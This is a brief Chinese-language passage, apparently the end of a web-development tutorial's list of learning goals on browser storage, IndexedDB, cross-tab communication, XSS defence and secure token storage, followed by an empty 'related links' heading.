  3. 能够根据场景选择合适的存储方式
  4. 了解 IndexedDB 的异步特性和事务机制
  5. 知道如何实现跨标签页通信
  6. 理解 XSS 对存储安全的威胁以及防护措施
  7. 掌握 Token 安全存储的最佳实践

相关链接